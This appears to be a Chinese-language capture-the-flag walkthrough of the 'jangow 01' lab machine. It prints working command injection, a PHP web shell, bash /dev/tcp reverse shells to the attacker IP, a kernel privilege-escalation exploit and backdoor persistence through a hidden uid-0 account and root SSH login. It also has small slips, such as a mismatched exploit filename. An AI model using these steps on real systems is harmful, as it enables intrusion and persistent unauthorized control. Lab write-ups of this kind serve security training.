jangow 01
靶机 ip:192.168.56.118
kali 攻击机 ip:172.17.46.146
1. nmap 扫描 IP
靶机 IP 已知:
1
nmap -A 192.168.56.118
2. 扫描目录
1
dirb http://192.168.56.118
1
2
3
http://192.168.56.118/server-status
http://192.168.56.118/site/index.html
http://192.168.56.118/site/wordpress/index.html
3. 访问网站
http://192.168.56.118
点击site
进入新的页面,查看源码发现:
1
2
3
<li class="nav-item">
<a class="nav-link" href="busque.php?buscar=">Buscar</a>
</li>
在地址栏输入参数判断此处有命令执行漏洞
使用 burp suit 进一步测试
1
2
3
4
cat+busque.php
<?php system($_GET['buscar']); ?>
echo+"bash+-c+'0<%262-%3bexec+22<>/dev/tcp/172.17.46.146/4444%3bsh+<%2622+>%2622+2>%2622'"+>+shell.sh
find+/+-perm+-4000+2>/dev/null
经测试,能写入文件,但无法 ping 通 kaliIP,无法反弹 shell。使用一句话木马+antsword
1
buscar=echo '<?php @eval($_POST['para']); ?>' > test.php
成功连接,发现/site/wordpress/config.php 内容有用户名和密码。访问后报错
1
2
3
4
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
发现/.backup 文件
1
2
3
4
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
尝试修改 config.php 中 database 和 username。再次访问仍报错
目标机开启了 21 和 80 端口。尝试用户名密码登录 ftp
1
2
3
4
5
6
ftp 192.168.56.118
desafio02 abygurl69
失败
ftp 192.168.56.118
jangow01 abygurl69
成功
进入后是在/var/www 目录下,没什么收获,继续用 AntSword
发现 /home/jangow01/user.txt
1
d41d8cd98f00b204e9800998ecf8427e
MD5 解码
1
2
查询结果:
[空密码]/[Empty String]
1
systemd-private-d6139d42208945be97253054fca34ee2-systemd-timesyncd.service-cCdsLz
4. 反弹 shell
使用 AntSword 的 shell 有时无回显,尝试反弹 shell
在 site 目录下新建 shell.sh 写入如下内容,在终端执行
1
bash -c '0<&2-;exec 22<>/dev/tcp/192.168.56.102/443;sh <&22 >&22 2>&22'
==只有 443 端口可以,其他端口无法连接==
kali 成功获取 shell
升级 tty shell,输入
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
成功升级界面,并切换到 jangow01 用户
可尝试 suid 提权。
这里选择内核漏洞提权
5. 提升权限
1
2
3
uname -a #查看系统内核
# Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
searchsploit ubuntu 4.4.0-31 #查找相关漏洞
使用linux/local/45010.c 。将文件复制下来,并编译
1
2
searchsploit -m 45010.c
gcc 44298.c -o 45010
可以使用 ftp 或 AntSword 上传到目标机/home/jangow01/目录下
1
2
3
4
5
6
ftp 192.168.56.118
jangow01
abygurl69
cd /home/jangow01
put 45010
ls
chmod +x 45010 添加权限后执行
成功获取 root 权限。发现 root 目录下 proof.txt 文件,内容:
1
da39a3ee5e6b4b0d3255bfef95601890afd80709
MD5 查询结果: [空密码]/[Empty String]
6. 权限维持
添加 root 用户
1
2
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
排查技巧:
1
2
3
4
5
# 查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
查看防火墙状态
1
2
ufw status
cat /etc/ufw/user.rules
打开或关闭某个端口
1
2
3
4
5
6
7
sudo ufw allow smtp 允许所有的外部IP访问本机的25/tcp (smtp)端口
udo ufw allow 22/tcp 允许所有的外部IP访问本机的22/tcp (ssh)端口
sudo ufw allow 53 允许外部访问53端口(tcp/udp)
sudo ufw allow from 192.168.1.100 允许此IP访问所有的本机端口
sudo ufw allow proto udp 192.168.0.1 port 53 to 192.168.0.2 port 53
sudo ufw deny smtp 禁止外部访问smtp服务
sudo ufw delete allow smtp 删除上面建立的某条规则
开启 22 端口
1
2
3
4
5
ufw allow 22/tcp
vi /etc/ssh/sshd_config
# 将#PermitRootLogin without-password改为PermitRootLogin yes
echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
输入/etc/init.d/ssh restart ,重启下ssh服务